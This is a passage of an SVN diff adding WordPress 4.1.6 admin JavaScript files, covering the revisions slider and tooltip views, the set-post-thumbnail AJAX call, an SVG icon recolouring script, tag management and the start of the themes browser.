+			// Add the Metabox view
+			this.views.add( new revisions.view.Metabox({
+				model: this.model
+			}) );
+		},
+
+		ready: function() {
+			this.top = this.$el.offset().top;
+			this.window = $(window);
+			this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
+				var controls  = e.data.controls,
+					container = controls.$el.parent(),
+					scrolled  = controls.window.scrollTop(),
+					frame     = controls.views.parent;
+
+				if ( scrolled >= controls.top ) {
+					if ( ! frame.$el.hasClass('pinned') ) {
+						controls.setWidth();
+						container.css('height', container.height() + 'px' );
+						controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
+							e.data.controls.setWidth();
+						});
+					}
+					frame.$el.addClass('pinned');
+				} else if ( frame.$el.hasClass('pinned') ) {
+					controls.window.off('.wp.revisions.pinning');
+					controls.$el.css('width', 'auto');
+					frame.$el.removeClass('pinned');
+					container.css('height', 'auto');
+					controls.top = controls.$el.offset().top;
+				} else {
+					controls.top = controls.$el.offset().top;
+				}
+			});
+		},
+
+		setWidth: function() {
+			this.$el.css('width', this.$el.parent().width() + 'px');
+		}
+	});
+
+	// The tickmarks view
+	revisions.view.Tickmarks = wp.Backbone.View.extend({
+		className: 'revisions-tickmarks',
+		direction: isRtl ? 'right' : 'left',
+
+		initialize: function() {
+			this.listenTo( this.model, 'change:revision', this.reportTickPosition );
+		},
+
+		reportTickPosition: function( model, revision ) {
+			var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
+			thisOffset = this.$el.allOffsets();
+			parentOffset = this.$el.parent().allOffsets();
+			if ( index === this.model.revisions.length - 1 ) {
+				// Last one
+				offset = {
+					rightPlusWidth: thisOffset.left - parentOffset.left + 1,
+					leftPlusWidth: thisOffset.right - parentOffset.right + 1
+				};
+			} else {
+				// Normal tick
+				tick = this.$('div:nth-of-type(' + (index + 1) + ')');
+				offset = tick.allPositions();
+				_.extend( offset, {
+					left: offset.left + thisOffset.left - parentOffset.left,
+					right: offset.right + thisOffset.right - parentOffset.right
+				});
+				_.extend( offset, {
+					leftPlusWidth: offset.left + tick.outerWidth(),
+					rightPlusWidth: offset.right + tick.outerWidth()
+				});
+			}
+			this.model.set({ offset: offset });
+		},
+
+		ready: function() {
+			var tickCount, tickWidth;
+			tickCount = this.model.revisions.length - 1;
+			tickWidth = 1 / tickCount;
+			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
+
+			_(tickCount).times( function( index ){
+				this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
+			}, this );
+		}
+	});
+
+	// The metabox view
+	revisions.view.Metabox = wp.Backbone.View.extend({
+		className: 'revisions-meta',
+
+		initialize: function() {
+			// Add the 'from' view
+			this.views.add( new revisions.view.MetaFrom({
+				model: this.model,
+				className: 'diff-meta diff-meta-from'
+			}) );
+
+			// Add the 'to' view
+			this.views.add( new revisions.view.MetaTo({
+				model: this.model
+			}) );
+		}
+	});
+
+	// The revision meta view (to be extended)
+	revisions.view.Meta = wp.Backbone.View.extend({
+		template: wp.template('revisions-meta'),
+
+		events: {
+			'click .restore-revision': 'restoreRevision'
+		},
+
+		initialize: function() {
+			this.listenTo( this.model, 'update:revisions', this.render );
+		},
+
+		prepare: function() {
+			return _.extend( this.model.toJSON()[this.type] || {}, {
+				type: this.type
+			});
+		},
+
+		restoreRevision: function() {
+			document.location = this.model.get('to').attributes.restoreUrl;
+		}
+	});
+
+	// The revision meta 'from' view
+	revisions.view.MetaFrom = revisions.view.Meta.extend({
+		className: 'diff-meta diff-meta-from',
+		type: 'from'
+	});
+
+	// The revision meta 'to' view
+	revisions.view.MetaTo = revisions.view.Meta.extend({
+		className: 'diff-meta diff-meta-to',
+		type: 'to'
+	});
+
+	// The checkbox view.
+	revisions.view.Checkbox = wp.Backbone.View.extend({
+		className: 'revisions-checkbox',
+		template: wp.template('revisions-checkbox'),
+
+		events: {
+			'click .compare-two-revisions': 'compareTwoToggle'
+		},
+
+		initialize: function() {
+			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
+		},
+
+		ready: function() {
+			if ( this.model.revisions.length < 3 ) {
+				$('.revision-toggle-compare-mode').hide();
+			}
+		},
+
+		updateCompareTwoMode: function() {
+			this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
+		},
+
+		// Toggle the compare two mode feature when the compare two checkbox is checked.
+		compareTwoToggle: function() {
+			// Activate compare two mode?
+			this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
+		}
+	});
+
+	// The tooltip view.
+	// Encapsulates the tooltip.
+	revisions.view.Tooltip = wp.Backbone.View.extend({
+		className: 'revisions-tooltip',
+		template: wp.template('revisions-meta'),
+
+		initialize: function() {
+			this.listenTo( this.model, 'change:offset', this.render );
+			this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
+			this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
+		},
+
+		prepare: function() {
+			if ( _.isNull( this.model.get('revision') ) ) {
+				return;
+			} else {
+				return _.extend( { type: 'tooltip' }, {
+					attributes: this.model.get('revision').toJSON()
+				});
+			}
+		},
+
+		render: function() {
+			var otherDirection,
+				direction,
+				directionVal,
+				flipped,
+				css      = {},
+				position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;
+
+			flipped = ( position / this.model.revisions.length ) > 0.5;
+			if ( isRtl ) {
+				direction = flipped ? 'left' : 'right';
+				directionVal = flipped ? 'leftPlusWidth' : direction;
+			} else {
+				direction = flipped ? 'right' : 'left';
+				directionVal = flipped ? 'rightPlusWidth' : direction;
+			}
+			otherDirection = 'right' === direction ? 'left': 'right';
+			wp.Backbone.View.prototype.render.apply( this, arguments );
+			css[direction] = this.model.get('offset')[directionVal] + 'px';
+			css[otherDirection] = '';
+			this.$el.toggleClass( 'flipped', flipped ).css( css );
+		},
+
+		visible: function() {
+			return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
+		},
+
+		toggleVisibility: function() {
+			if ( this.visible() ) {
+				this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
+			} else {
+				this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
+			}
+			return;
+		}
+	});
+
+	// The buttons view.
+	// Encapsulates all of the configuration for the previous/next buttons.
+	revisions.view.Buttons = wp.Backbone.View.extend({
+		className: 'revisions-buttons',
+		template: wp.template('revisions-buttons'),
+
+		events: {
+			'click .revisions-next .button': 'nextRevision',
+			'click .revisions-previous .button': 'previousRevision'
+		},
+
+		initialize: function() {
+			this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
+		},
+
+		ready: function() {
+			this.disabledButtonCheck();
+		},
+
+		// Go to a specific model index
+		gotoModel: function( toIndex ) {
+			var attributes = {
+				to: this.model.revisions.at( toIndex )
+			};
+			// If we're at the first revision, unset 'from'.
+			if ( toIndex ) {
+				attributes.from = this.model.revisions.at( toIndex - 1 );
+			} else {
+				this.model.unset('from', { silent: true });
+			}
+
+			this.model.set( attributes );
+		},
+
+		// Go to the 'next' revision
+		nextRevision: function() {
+			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
+			this.gotoModel( toIndex );
+		},
+
+		// Go to the 'previous' revision
+		previousRevision: function() {
+			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
+			this.gotoModel( toIndex );
+		},
+
+		// Check to see if the Previous or Next buttons need to be disabled or enabled.
+		disabledButtonCheck: function() {
+			var maxVal   = this.model.revisions.length - 1,
+				minVal   = 0,
+				next     = $('.revisions-next .button'),
+				previous = $('.revisions-previous .button'),
+				val      = this.model.revisions.indexOf( this.model.get('to') );
+
+			// Disable "Next" button if you're on the last node.
+			next.prop( 'disabled', ( maxVal === val ) );
+
+			// Disable "Previous" button if you're on the first node.
+			previous.prop( 'disabled', ( minVal === val ) );
+		}
+	});
+
+
+	// The slider view.
+	revisions.view.Slider = wp.Backbone.View.extend({
+		className: 'wp-slider',
+		direction: isRtl ? 'right' : 'left',
+
+		events: {
+			'mousemove' : 'mouseMove'
+		},
+
+		initialize: function() {
+			_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
+			this.listenTo( this.model, 'update:slider', this.applySliderSettings );
+		},
+
+		ready: function() {
+			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
+			this.$el.slider( _.extend( this.model.toJSON(), {
+				start: this.start,
+				slide: this.slide,
+				stop:  this.stop
+			}) );
+
+			this.$el.hoverIntent({
+				over: this.mouseEnter,
+				out: this.mouseLeave,
+				timeout: 800
+			});
+
+			this.applySliderSettings();
+		},
+
+		mouseMove: function( e ) {
+			var zoneCount         = this.model.revisions.length - 1, // One fewer zone than models
+				sliderFrom        = this.$el.allOffsets()[this.direction], // "From" edge of slider
+				sliderWidth       = this.$el.width(), // Width of slider
+				tickWidth         = sliderWidth / zoneCount, // Calculated width of zone
+				actualX           = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom;
+				currentModelIndex = Math.floor( ( actualX  + ( tickWidth / 2 )  ) / tickWidth ); // Calculate the model index
+
+			// Ensure sane value for currentModelIndex.
+			if ( currentModelIndex < 0 ) {
+				currentModelIndex = 0;
+			} else if ( currentModelIndex >= this.model.revisions.length ) {
+				currentModelIndex = this.model.revisions.length - 1;
+			}
+
+			// Update the tooltip mode
+			this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
+		},
+
+		mouseLeave: function() {
+			this.model.set({ hovering: false });
+		},
+
+		mouseEnter: function() {
+			this.model.set({ hovering: true });
+		},
+
+		applySliderSettings: function() {
+			this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
+			var handles = this.$('a.ui-slider-handle');
+
+			if ( this.model.get('compareTwoMode') ) {
+				// in RTL mode the 'left handle' is the second in the slider, 'right' is first
+				handles.first()
+					.toggleClass( 'to-handle', !! isRtl )
+					.toggleClass( 'from-handle', ! isRtl );
+				handles.last()
+					.toggleClass( 'from-handle', !! isRtl )
+					.toggleClass( 'to-handle', ! isRtl );
+			} else {
+				handles.removeClass('from-handle to-handle');
+			}
+		},
+
+		start: function( event, ui ) {
+			this.model.set({ scrubbing: true });
+
+			// Track the mouse position to enable smooth dragging,
+			// overrides default jQuery UI step behavior.
+			$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
+				var handles,
+					view              = e.data.view,
+					leftDragBoundary  = view.$el.offset().left,
+					sliderOffset      = leftDragBoundary,
+					sliderRightEdge   = leftDragBoundary + view.$el.width(),
+					rightDragBoundary = sliderRightEdge,
+					leftDragReset     = '0',
+					rightDragReset    = '100%',
+					handle            = $( ui.handle );
+
+				// In two handle mode, ensure handles can't be dragged past each other.
+				// Adjust left/right boundaries and reset points.
+				if ( view.model.get('compareTwoMode') ) {
+					handles = handle.parent().find('.ui-slider-handle');
+					if ( handle.is( handles.first() ) ) { // We're the left handle
+						rightDragBoundary = handles.last().offset().left;
+						rightDragReset    = rightDragBoundary - sliderOffset;
+					} else { // We're the right handle
+						leftDragBoundary = handles.first().offset().left + handles.first().width();
+						leftDragReset    = leftDragBoundary - sliderOffset;
+					}
+				}
+
+				// Follow mouse movements, as long as handle remains inside slider.
+				if ( e.pageX < leftDragBoundary ) {
+					handle.css( 'left', leftDragReset ); // Mouse to left of slider.
+				} else if ( e.pageX > rightDragBoundary ) {
+					handle.css( 'left', rightDragReset ); // Mouse to right of slider.
+				} else {
+					handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
+				}
+			} );
+		},
+
+		getPosition: function( position ) {
+			return isRtl ? this.model.revisions.length - position - 1: position;
+		},
+
+		// Responds to slide events
+		slide: function( event, ui ) {
+			var attributes, movedRevision;
+			// Compare two revisions mode
+			if ( this.model.get('compareTwoMode') ) {
+				// Prevent sliders from occupying same spot
+				if ( ui.values[1] === ui.values[0] ) {
+					return false;
+				}
+				if ( isRtl ) {
+					ui.values.reverse();
+				}
+				attributes = {
+					from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
+					to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
+				};
+			} else {
+				attributes = {
+					to: this.model.revisions.at( this.getPosition( ui.value ) )
+				};
+				// If we're at the first revision, unset 'from'.
+				if ( this.getPosition( ui.value ) > 0 ) {
+					attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
+				} else {
+					attributes.from = undefined;
+				}
+			}
+			movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );
+
+			// If we are scrubbing, a scrub to a revision is considered a hover
+			if ( this.model.get('scrubbing') ) {
+				attributes.hoveredRevision = movedRevision;
+			}
+
+			this.model.set( attributes );
+		},
+
+		stop: function() {
+			$( window ).off('mousemove.wp.revisions');
+			this.model.updateSliderSettings(); // To snap us back to a tick mark
+			this.model.set({ scrubbing: false });
+		}
+	});
+
+	// The diff view.
+	// This is the view for the current active diff.
+	revisions.view.Diff = wp.Backbone.View.extend({
+		className: 'revisions-diff',
+		template:  wp.template('revisions-diff'),
+
+		// Generate the options to be passed to the template.
+		prepare: function() {
+			return _.extend({ fields: this.model.fields.toJSON() }, this.options );
+		}
+	});
+
+	// The revisions router.
+	// Maintains the URL routes so browser URL matches state.
+	revisions.Router = Backbone.Router.extend({
+		initialize: function( options ) {
+			this.model = options.model;
+
+			// Maintain state and history when navigating
+			this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
+			this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
+		},
+
+		baseUrl: function( url ) {
+			return this.model.get('baseUrl') + url;
+		},
+
+		updateUrl: function() {
+			var from = this.model.has('from') ? this.model.get('from').id : 0,
+				to   = this.model.get('to').id;
+			if ( this.model.get('compareTwoMode' ) ) {
+				this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
+			} else {
+				this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
+			}
+		},
+
+		handleRoute: function( a, b ) {
+			var compareTwo = _.isUndefined( b );
+
+			if ( ! compareTwo ) {
+				b = this.model.revisions.get( a );
+				a = this.model.revisions.prev( b );
+				b = b ? b.id : 0;
+				a = a ? a.id : 0;
+			}
+		}
+	});
+
+	/**
+	 * Initialize the revisions UI for revision.php.
+	 */
+	revisions.init = function() {
+		var state;
+
+		// Bail if the current page is not revision.php.
+		if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
+			return;
+		}
+
+		state = new revisions.model.FrameState({
+			initialDiffState: {
+				// wp_localize_script doesn't stringifies ints, so cast them.
+				to: parseInt( revisions.settings.to, 10 ),
+				from: parseInt( revisions.settings.from, 10 ),
+				// wp_localize_script does not allow for top-level booleans so do a comparator here.
+				compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
+			},
+			diffData: revisions.settings.diffData,
+			baseUrl: revisions.settings.baseUrl,
+			postId: parseInt( revisions.settings.postId, 10 )
+		}, {
+			revisions: new revisions.model.Revisions( revisions.settings.revisionData )
+		});
+
+		revisions.view.frame = new revisions.view.Frame({
+			model: state
+		}).render();
+	};
+
+	$( revisions.init );
+}(jQuery));
Index: /tags/4.1.6/src/wp-admin/js/set-post-thumbnail.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/set-post-thumbnail.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/set-post-thumbnail.js	(revision 33402)
@@ -0,0 +1,24 @@
+/* global setPostThumbnailL10n, ajaxurl, post_id, alert */
+/* exported WPSetAsThumbnail */
+
+function WPSetAsThumbnail( id, nonce ) {
+	var $link = jQuery('a#wp-post-thumbnail-' + id);
+
+	$link.text( setPostThumbnailL10n.saving );
+	jQuery.post(ajaxurl, {
+		action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
+	}, function(str){
+		var win = window.dialogArguments || opener || parent || top;
+		$link.text( setPostThumbnailL10n.setThumbnail );
+		if ( str == '0' ) {
+			alert( setPostThumbnailL10n.error );
+		} else {
+			jQuery('a.wp-post-thumbnail').show();
+			$link.text( setPostThumbnailL10n.done );
+			$link.fadeOut( 2000 );
+			win.WPSetThumbnailID(id);
+			win.WPSetThumbnailHTML(str);
+		}
+	}
+	);
+}
Index: /tags/4.1.6/src/wp-admin/js/svg-painter.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/svg-painter.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/svg-painter.js	(revision 33402)
@@ -0,0 +1,240 @@
+/**
+ * Attempt to re-color SVG icons used in the admin menu or the toolbar
+ *
+ */
+
+window.wp = window.wp || {};
+
+wp.svgPainter = ( function( $, window, document, undefined ) {
+	'use strict';
+	var selector, base64, painter,
+		colorscheme = {},
+		elements = [];
+
+	$(document).ready( function() {
+		// detection for browser SVG capability
+		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
+			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
+			wp.svgPainter.init();
+		}
+	});
+
+	/**
+	 * Needed only for IE9
+	 *
+	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
+	 *
+	 * Based on: https://gist.github.com/Yaffle/1284012
+	 *
+	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
+	 * Licensed under the MIT license
+	 * http://www.opensource.org/licenses/mit-license.php
+	 */
+	base64 = ( function() {
+		var c,
+			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
+			a256 = '',
+			r64 = [256],
+			r256 = [256],
+			i = 0;
+
+		function init() {
+			while( i < 256 ) {
+				c = String.fromCharCode(i);
+				a256 += c;
+				r256[i] = i;
+				r64[i] = b64.indexOf(c);
+				++i;
+			}
+		}
+
+		function code( s, discard, alpha, beta, w1, w2 ) {
+			var tmp, length,
+				buffer = 0,
+				i = 0,
+				result = '',
+				bitsInBuffer = 0;
+
+			s = String(s);
+			length = s.length;
+
+			while( i < length ) {
+				c = s.charCodeAt(i);
+				c = c < 256 ? alpha[c] : -1;
+
+				buffer = ( buffer << w1 ) + c;
+				bitsInBuffer += w1;
+
+				while( bitsInBuffer >= w2 ) {
+					bitsInBuffer -= w2;
+					tmp = buffer >> bitsInBuffer;
+					result += beta.charAt(tmp);
+					buffer ^= tmp << bitsInBuffer;
+				}
+				++i;
+			}
+
+			if ( ! discard && bitsInBuffer > 0 ) {
+				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
+			}
+
+			return result;
+		}
+
+		function btoa( plain ) {
+			if ( ! c ) {
+				init();
+			}
+
+			plain = code( plain, false, r256, b64, 8, 6 );
+			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
+		}
+
+		function atob( coded ) {
+			var i;
+
+			if ( ! c ) {
+				init();
+			}
+
+			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
+			coded = String(coded).split('=');
+			i = coded.length;
+
+			do {
+				--i;
+				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
+			} while ( i > 0 );
+
+			coded = coded.join('');
+			return coded;
+		}
+
+		return {
+			atob: atob,
+			btoa: btoa
+		};
+	})();
+
+	return {
+		init: function() {
+			painter = this;
+			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );
+
+			this.setColors();
+			this.findElements();
+			this.paint();
+		},
+
+		setColors: function( colors ) {
+			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
+				colors = window._wpColorScheme;
+			}
+
+			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
+				colorscheme = colors.icons;
+			}
+		},
+
+		findElements: function() {
+			selector.each( function() {
+				var $this = $(this), bgImage = $this.css( 'background-image' );
+
+				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
+					elements.push( $this );
+				}
+			});
+		},
+
+		paint: function() {
+			// loop through all elements
+			$.each( elements, function( index, $element ) {
+				var $menuitem = $element.parent().parent();
+
+				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
+					// paint icon in 'current' color
+					painter.paintElement( $element, 'current' );
+				} else {
+					// paint icon in base color
+					painter.paintElement( $element, 'base' );
+
+					// set hover callbacks
+					$menuitem.hover(
+						function() {
+							painter.paintElement( $element, 'focus' );
+						},
+						function() {
+							// Match the delay from hoverIntent
+							window.setTimeout( function() {
+								painter.paintElement( $element, 'base' );
+							}, 100 );
+						}
+					);
+				}
+			});
+		},
+
+		paintElement: function( $element, colorType ) {
+			var xml, encoded, color;
+
+			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
+				return;
+			}
+
+			color = colorscheme[ colorType ];
+
+			// only accept hex colors: #101 or #101010
+			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
+				return;
+			}
+
+			xml = $element.data( 'wp-ui-svg-' + color );
+
+			if ( xml === 'none' ) {
+				return;
+			}
+
+			if ( ! xml ) {
+				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );
+
+				if ( ! encoded || ! encoded[1] ) {
+					$element.data( 'wp-ui-svg-' + color, 'none' );
+					return;
+				}
+
+				try {
+					if ( 'atob' in window ) {
+						xml = window.atob( encoded[1] );
+					} else {
+						xml = base64.atob( encoded[1] );
+					}
+				} catch ( error ) {}
+
+				if ( xml ) {
+					// replace `fill` attributes
+					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');
+
+					// replace `style` attributes
+					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');
+
+					// replace `fill` properties in `<style>` tags
+					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');
+
+					if ( 'btoa' in window ) {
+						xml = window.btoa( xml );
+					} else {
+						xml = base64.btoa( xml );
+					}
+
+					$element.data( 'wp-ui-svg-' + color, xml );
+				} else {
+					$element.data( 'wp-ui-svg-' + color, 'none' );
+					return;
+				}
+			}
+
+			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
+		}
+	};
+
+})( jQuery, window, document );
Index: /tags/4.1.6/src/wp-admin/js/tags.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/tags.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/tags.js	(revision 33402)
@@ -0,0 +1,72 @@
+/* global ajaxurl, wpAjax, tagsl10n, showNotice, validateForm */
+
+jQuery(document).ready(function($) {
+
+	$( '#the-list' ).on( 'click', '.delete-tag', function() {
+		var t = $(this), tr = t.parents('tr'), r = true, data;
+		if ( 'undefined' != showNotice )
+			r = showNotice.warn();
+		if ( r ) {
+			data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag');
+			$.post(ajaxurl, data, function(r){
+				if ( '1' == r ) {
+					$('#ajax-response').empty();
+					tr.fadeOut('normal', function(){ tr.remove(); });
+					// Remove the term from the parent box and tag cloud
+					$('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove();
+					$('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove();
+				} else if ( '-1' == r ) {
+					$('#ajax-response').empty().append('<div class="error"><p>' + tagsl10n.noPerm + '</p></div>');
+					tr.children().css('backgroundColor', '');
+				} else {
+					$('#ajax-response').empty().append('<div class="error"><p>' + tagsl10n.broken + '</p></div>');
+					tr.children().css('backgroundColor', '');
+				}
+			});
+			tr.children().css('backgroundColor', '#f33');
+		}
+		return false;
+	});
+
+	$('#submit').click(function(){
+		var form = $(this).parents('form');
+
+		if ( ! validateForm( form ) )
+			return false;
+
+		$.post(ajaxurl, $('#addtag').serialize(), function(r){
+			var res, parent, term, indent, i;
+
+			$('#ajax-response').empty();
+			res = wpAjax.parseAjaxResponse( r, 'ajax-response' );
+			if ( ! res || res.errors )
+				return;
+
+			parent = form.find( 'select#parent' ).val();
+
+			if ( parent > 0 && $('#tag-' + parent ).length > 0 ) // If the parent exists on this page, insert it below. Else insert it at the top of the list.
+				$( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents ); // As the parent exists, Insert the version with - - - prefixed
+			else
+				$( '.tags' ).prepend( res.responses[0].supplemental.parents ); // As the parent is not visible, Insert the version with Parent - Child - ThisTerm
+
+			$('.tags .no-items').remove();
+
+			if ( form.find('select#parent') ) {
+				// Parents field exists, Add new term to the list.
+				term = res.responses[1].supplemental;
+
+				// Create an indent for the Parent field
+				indent = '';
+				for ( i = 0; i < res.responses[1].position; i++ )
+					indent += '&nbsp;&nbsp;&nbsp;';
+
+				form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' );
+			}
+
+			$('input[type="text"]:visible, textarea:visible', form).val('');
+		});
+
+		return false;
+	});
+
+});
Index: /tags/4.1.6/src/wp-admin/js/theme.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/theme.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/theme.js	(revision 33402)
@@ -0,0 +1,1702 @@
+/* global _wpThemeSettings, confirm */
+window.wp = window.wp || {};
+
+( function($) {
+
+// Set up our namespace...
+var themes, l10n;
+themes = wp.themes = wp.themes || {};
+
+// Store the theme data and settings for organized and quick access
+// themes.data.settings, themes.data.themes, themes.data.l10n
+themes.data = _wpThemeSettings;
+l10n = themes.data.l10n;
+
+// Shortcut for isInstall check
+themes.isInstall = !! themes.data.settings.isInstall;
+
+// Setup app structure
+_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });
+
+themes.Model = Backbone.Model.extend({
+	// Adds attributes to the default data coming through the .org themes api
+	// Map `id` to `slug` for shared code
+	initialize: function() {
+		var description;
+
+		// If theme is already installed, set an attribute.
+		if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
+			this.set({ installed: true });
+		}
+
+		// Set the attributes
+		this.set({
+			// slug is for installation, id is for existing.
+			id: this.get( 'slug' ) || this.get( 'id' )
+		});
+
+		// Map `section.description` to `description`
+		// as the API sometimes returns it differently
+		if ( this.has( 'sections' ) ) {
+			description = this.get( 'sections' ).description;
+			this.set({ description: description });
+		}
+	}
+});
+
+// Main view controller for themes.php
+// Unifies and renders all available views
+themes.view.Appearance = wp.Backbone.View.extend({
+
+	el: '#wpbody-content .wrap .theme-browser',
+
+	window: $( window ),
+	// Pagination instance
+	page: 0,
+
+	// Sets up a throttler for binding to 'scroll'
+	initialize: function( options ) {
+		// Scroller checks how far the scroll position is
+		_.bindAll( this, 'scroller' );
+
+		this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
+		// Bind to the scroll event and throttle
+		// the results from this.scroller
+		this.window.bind( 'scroll', _.throttle( this.scroller, 300 ) );
+	},
+
+	// Main render control
+	render: function() {
+		// Setup the main theme view
+		// with the current theme collection
+		this.view = new themes.view.Themes({
+			collection: this.collection,
+			parent: this
+		});
+
+		// Render search form.
+		this.search();
+
+		// Render and append
+		this.view.render();
+		this.$el.empty().append( this.view.el ).addClass('rendered');
+		this.$el.append( '<br class="clear"/>' );
+	},
+
+	// Defines search element container
+	searchContainer: $( '#wpbody h2:first' ),
+
+	// Search input and view
+	// for current theme collection
+	search: function() {
+		var view,
+			self = this;
+
+		// Don't render the search if there is only one theme
+		if ( themes.data.themes.length === 1 ) {
+			return;
+		}
+
+		view = new this.SearchView({
+			collection: self.collection,
+			parent: this
+		});
+
+		// Render and append after screen title
+		view.render();
+		this.searchContainer
+			.append( $.parseHTML( '<label class="screen-reader-text" for="wp-filter-search-input">' + l10n.search + '</label>' ) )
+			.append( view.el );
+	},
+
+	// Checks when the user gets close to the bottom
+	// of the mage and triggers a theme:scroll event
+	scroller: function() {
+		var self = this,
+			bottom, threshold;
+
+		bottom = this.window.scrollTop() + self.window.height();
+		threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
+		threshold = Math.round( threshold * 0.9 );
+
+		if ( bottom > threshold ) {
+			this.trigger( 'theme:scroll' );
+		}
+	}
+});
+
+// Set up the Collection for our theme data
+// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
+themes.Collection = Backbone.Collection.extend({
+
+	model: themes.Model,
+
+	// Search terms
+	terms: '',
+
+	// Controls searching on the current theme collection
+	// and triggers an update event
+	doSearch: function( value ) {
+
+		// Don't do anything if we've already done this search
+		// Useful because the Search handler fires multiple times per keystroke
+		if ( this.terms === value ) {
+			return;
+		}
+
+		// Updates terms with the value passed
+		this.terms = value;
+
+		// If we have terms, run a search...
+		if ( this.terms.length > 0 ) {
+			this.search( this.terms );
+		}
+
+		// If search is blank, show all themes
+		// Useful for resetting the views when you clean the input
+		if ( this.terms === '' ) {
+			this.reset( themes.data.themes );
+		}
+
+		// Trigger an 'update' event
+		this.trigger( 'update' );
+	},
+
+	// Performs a search within the collection
+	// @uses RegExp
+	search: function( term ) {
+		var match, results, haystack;
+
+		// Start with a full collection
+		this.reset( themes.data.themes, { silent: true } );
+
+		// Escape the term string for RegExp meta characters
+		term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
+
+		// Consider spaces as word delimiters and match the whole string
+		// so matching terms can be combined
+		term = term.replace( / /g, ')(?=.*' );
+		match = new RegExp( '^(?=.*' + term + ').+', 'i' );
+
+		// Find results
+		// _.filter and .test
+		results = this.filter( function( data ) {
+			haystack = _.union( data.get( 'name' ), data.get( 'id' ), data.get( 'description' ), data.get( 'author' ), data.get( 'tags' ) );
+
+			if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
+				data.set( 'displayAuthor', true );
+			}
+
+			return match.test( haystack );
+		});
+
+		if ( results.length === 0 ) {
